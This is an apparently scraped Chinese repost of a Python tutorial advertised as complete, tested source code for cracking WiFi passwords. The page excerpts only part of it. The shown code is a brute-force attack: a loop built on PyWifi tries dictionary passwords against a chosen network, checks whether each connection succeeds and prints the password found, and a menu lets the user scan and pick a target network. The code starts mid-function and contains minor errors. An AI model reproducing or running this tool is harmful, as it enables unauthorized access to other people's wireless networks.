加入收藏 | 设为首页 | 会员中心 | 我要投稿 十堰站长网 (https://www.0719zz.com/)- 混合云存储、网络、视频终端、云计算、媒体处理!
当前位置: 首页 > 编程开发 > Python > 正文

Python破解WIFI密码完整源代码,实测可成功破解

发布时间:2023-02-16 14:22:52 所属栏目:Python 来源:互联网
导读:目录 # 修正记录:2022-12-01 1,先安装Python环境(这个不用多说了吧) 2,安装PyWifi 3,自己手工整理高频弱口令,不建议程序生成的字典,生成的字典成功率实在太低。 4,自己生成字典的算法: 5,破解WIF代码第一种(2022-12-01): 6,破解WIF代码第二种:

              # 开始尝试连接
              interface.connect(tmp_profile)
              #start_time = time.time()
              time.sleep(1.5)
              #while time.time() - start_time < 1.5:
              # 接口状态为4代表连接成功(当尝试时间大于1.5秒之后则为错误密码,经测试测正确密码一般都在1.5秒内连接,若要提高准确性可以设置为2s或以上,相应暴力破解速度就会变慢)
              if interface.status() == const.IFACE_CONNECTED:
                  print(f'r连接成功!密码为:{pwd}')
                  m,s = divmod((end - start).seconds,60)
                  h,m = divmod(m,60)
                  print(f"本次破解WIFI密码共用时:{h}时{m}分{s}秒")
                  exit(0)
              else:
                  print(f'r[{iCount}]正在利用密码 {pwd} 尝试...')
              end = datetime.datetime.Now()
              iCount= iCount+1
  # 主函数
  def main():
      # 退出标致
      exit_flag = 0
      # 目标编号
      target_num = -1
      while not exit_flag:
          try:
              print('WIFI破解'.center(35,'-'))
              # 调用扫描模块,返回一个排序后的wifi列表
              wifi_list = wifi_scan()
              # 让用户选择要破解的wifi编号,并对用户输入的编号进行判断和异常处理
              choose_exit_flag = 0
              while not choose_exit_flag:
                  try:
                      target_num = int(input('请选择你要尝试破解的wifi:'))
                      # 如果要选择的wifi编号在列表内,继续二次判断,否则重新输入
                      if target_num in range(len(wifi_list)):
                          # 二次确认
                          while not choose_exit_flag:
                              try:
                                  choose = str(input(f'你选择要破解的WiFi名称是:{wifi_list[target_num][1]},确定吗?(Y/N)'))
                                  # 对用户输入进行小写处理,并判断
                                  if choose.lower() == 'y':
                                      choose_exit_flag = 1
                                  elif choose.lower() == 'n':
                                      break
                                  # 处理用户其它字母输入
                                  else:
                                      print('只能输入 Y/N')
                              # 处理用户非字母输入
                              except ValueError:
                                  print('只能输入 Y/N')
                          # 退出破解
                          if choose_exit_flag == 1:
                              break
                          else:
                              print('请重新输入')
                  except ValueError:
                      print('只能输入数字')
              # 密码破解,传入用户选择的wifi名称

(编辑:十堰站长网)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!

推荐文章
    热点阅读